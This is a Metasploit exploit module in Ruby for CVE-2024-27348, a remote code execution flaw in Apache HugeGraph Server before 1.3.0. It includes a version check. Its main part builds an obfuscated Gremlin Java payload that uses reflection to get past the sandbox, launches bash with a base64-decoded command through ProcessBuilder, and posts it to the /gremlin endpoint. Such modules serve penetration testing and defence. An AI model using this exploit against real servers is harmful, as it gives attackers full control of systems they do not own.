Apache HugeGraph Gremlin Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache HugeGraph Gremlin RCE',  
'Description' => %q{  
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in  
Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve  
RCE through Gremlin, resulting in complete control over the server  
},  
'Author' => [  
'6right', # discovery  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'],  
[ 'CVE', '2024-27348']  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[unix linux],  
'Privileged' => true,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-04-22',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET'  
})  
  
return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res  
return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200  
  
version = res.get_json_document&.dig('version')  
return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version  
  
if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))  
return CheckCode::Appears("Apache HugeGraph version detected: #{version}")  
end  
  
CheckCode::Safe("Apache HugeGraph version detected: #{version}")  
end  
  
def exploit  
print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")  
  
class_name = rand_text_alpha(4..12)  
thread_name = rand_text_alpha(4..12)  
command_name = rand_text_alpha(4..12)  
process_builder_name = rand_text_alpha(4..12)  
start_method_name = rand_text_alpha(4..12)  
constructor_name = rand_text_alpha(4..12)  
field_name = rand_text_alpha(4..12)  
  
java_payload = <<~PAYLOAD  
Thread #{thread_name} = Thread.currentThread();  
Class #{class_name} = Class.forName(\"java.lang.Thread\");  
java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");  
#{field_name}.setAccessible(true);  
#{field_name}.set(#{thread_name}, \"#{thread_name}\");  
Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");  
java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);  
java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});  
Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});  
java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");  
#{start_method_name}.invoke(#{process_builder_name});  
PAYLOAD  
  
data = {  
'gremlin' => java_payload,  
'bindings' => {},  
'language' => 'gremlin-groovy',  
'aliases' => {}  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/gremlin'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => data.to_json  
})  
  
print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200  
end  
end  
`